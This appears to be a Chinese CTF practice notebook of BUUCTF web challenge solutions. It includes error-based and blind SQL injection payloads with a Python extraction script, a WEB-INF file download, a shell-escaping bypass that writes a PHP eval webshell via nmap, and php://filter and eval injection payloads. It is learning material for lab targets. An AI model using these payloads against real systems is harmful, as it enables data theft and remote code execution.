[极客大挑战 2019]HardSQL
这道题fuzz,发现屏蔽了空格和union之类的,联合注入被过滤了。
空格通过看wp了解到可以通过()来绕过。
在fuzz里发现他这道题有出现报错注入的漏洞
使用updatexml
爆库名admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))#
爆表名
admin'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))#
爆列名
admin'or(updatexml(1,concat(0x7e,(select(column_name)from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#
得到列中内容,这里用group_concat的原因是因为他回显只有一行。
admin'or(updatexml(1,concat(0x7e,(select(group_concat(id,'~',username,'~',password))from(H4rDsq1)),0x7e),1))#
分别使用left和right得到flag最后拼接在一起
admin'or(updatexml(1,concat(0x7e,(select(right(password,35))from(H4rDsq1)),0x7e),1))#
这里35是不确定的,因为是动态flag所以自己调节自己的字符数。
[CISCN2019 华北赛区 Day2 Web1]Hack World
这道题是盲注,用fuzz爆一下发现可以盲注,其他的union这些被屏蔽了
而且他直接给了表明和列名,所以就直接爆
import requests import time url='http://14f939a5-25ca-4597-9e1e-f7f769c8a274.node4.buuoj.cn:81/index.php' r=requests.session() f='' for i in range(1,50): min=32 max=127 mid=(min+max)//2 while min<max: payload="if(ascii(substr((select(flag)from(flag)),%d,1))>%d,1,2)" % (i,mid) data={ "id":payload } re=requests.post(url,data=data) time.sleep(0.1) if 'Hello' in re.text: min=mid+1 else: max=mid mid=(min+max)//2 f+=chr(int(mid)) print(f)
[CISCN2019 华北赛区 Day2 Web1]Hack World
盲注,表明和列名告诉了我们所以可以直接爆破
[RoarCTF 2019]Easy Java
这道题,登录进页面没有注册
尝试了admin,万能密码。然后wp中这道题是弱密码,但是没有flag。
后面,他有一个help,点进去
发现我们可以下载文件
但是不知道为什么这道题get是不能下载的,要用post,在wp中说能找到一段源码这里要求post。但是我没找到。
用post方式能下载文件,缺少项目开发的经验,我是看wp进行下一步的,
这里有两个点,一个是web-inf是安全目录,需要映射才能访问,这道题允许我们download
另一个点是web-inf默认下面还有一个classes文件夹,这道题flag就存放在classes文件夹内
下载WEB-INF/web.xml
文件内容
-<servlet>
<servlet-name>FlagController</servlet-name>
<servlet-class>com.wm.ctf.FlagController</servlet-class>
</servlet>
得到了flag路径,在web-info下的classes
playload
filename=WEB-INF/classes/com/wm/ctf/FlagController.class
base64解码得到flag
[BUUCTF 2018]Online Tool
escapeshellarg()和escapeshellcmd() 没见过,可以参考这篇文章:https://paper.seebug.org/164/
直接找到了上面这篇文章,这两个函数在一起用会有些问题
此处引用大佬wp
[BUUCTF 2018]Online Tool - My_Dreams - 博客园
传入的参数是:172.17.0.2' -v -d a=1 经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。 经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义: http://php.net/manual/zh/function.escapeshellcmd.php 最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面 的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'。
简单的来说就是两次转义后出现了问题,没有考虑到单引号的问题
然后往下看,看到echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
这有个system来执行命令,而且有传参,肯定是利用这里了
这里代码的本意是希望我们输入ip这样的参数做一个扫描,通过上面的两个函数来进行规则过滤转义,我们的输入会被单引号引起来,但是因为我们看到了上面的漏洞所以我们可以逃脱这个引号的束缚
这里常见的命令后注入操作如 | & &&都不行,虽然我们通过上面的操作逃过了单引号,但escapeshellcmd会对这些特殊符号前面加上\来转义…
这时候就只有想想能不能利用nmap来做些什么了。
这时候搜索可以发现在nmap命令中 有一个参数-oG可以实现将命令和结果写到文件
这个命令就是我们的输入可控!然后写入到文件!OK很自然的想到了上传一个一句话木马了…
playload:
?host=' <?php @eval($_POST["hack"]);?> -oG hack.php '
链接时注意文件名
[网鼎杯 2020 朱雀组]phpweb:
界面有个warning,说什么时间处理有问题,查看源码
5秒钟跑一次, 参数告诉我们应该时有call_user_func()
那就是我们可以直接执行命令
可以直接得到源码,这里readfile没有被禁用,但是我用不了
过滤了很多函数
接下来可以用test传入序列化来绕过他的过滤
func=unsearilize
&p=find / -name flag*的序列化
[BJDCTF2020]ZJCTF,不过如此:
next.php?S*={${eval($_POST[a])}}
学了点东西,re正则/e有风险,data来传入文件数据,fliter伪协议在include时使用
?a=php://filter/read=convert.base64-encode/resource=xxx.php
[BSidesCF 2020]Had a bad day
点击任意一个按钮会回显一张图,抓包,没有发现问题
尝试直接看源码
?category=php://filter/read=convert.base64-encode/resource=index.php
发生错误,仔细越读后发现是有一个自动补齐.php,所以删掉index后缀,读出来base64,解码
发现他只允许读取参数,所以我们可以直接
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index"))
[BJDCTF2020]Mark loves cat
git泄露,disearch扫描下载index.php
-
<?php
-
include 'flag.php';
-
print_r($flag);
-
$yds = "dog";
-
$is = "cat";
-
$handsome = 'yds';
-
foreach($_POST as $x => $y){ // $键 = $值的值
-
$$x = $y;
-
}
-
foreach($_GET as $x => $y){
-
$$x = $$y;// $handsome = flag的值 ---> $handsome = $flag --> $x=handsome & $y=flag
-
}
-
// 需要不满足以下几个条件
-
foreach($_GET as $x => $y){
-
if($_GET['flag'] === $x && $x !== 'flag'){ //不能同时 flag的值等于某个键名,那个键值又是flag
-
exit($handsome);
-
}
-
}
-
if(!isset($_GET['flag']) && !isset($_POST['flag'])){// 不能同时 GET 和 POST 都没设置 flag
-
exit($yds);
-
}
-
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){// 任意都不能满足 flag === 'flag'
-
exit($is);
-
}
-
echo "the flag is: ".$flag;
这道题有多种思路一种是exit侵蚀,走?flag=a&a=flag,走到exit,?handsome=flag&flag=handsome完成
而另一个exit则是
yds=flag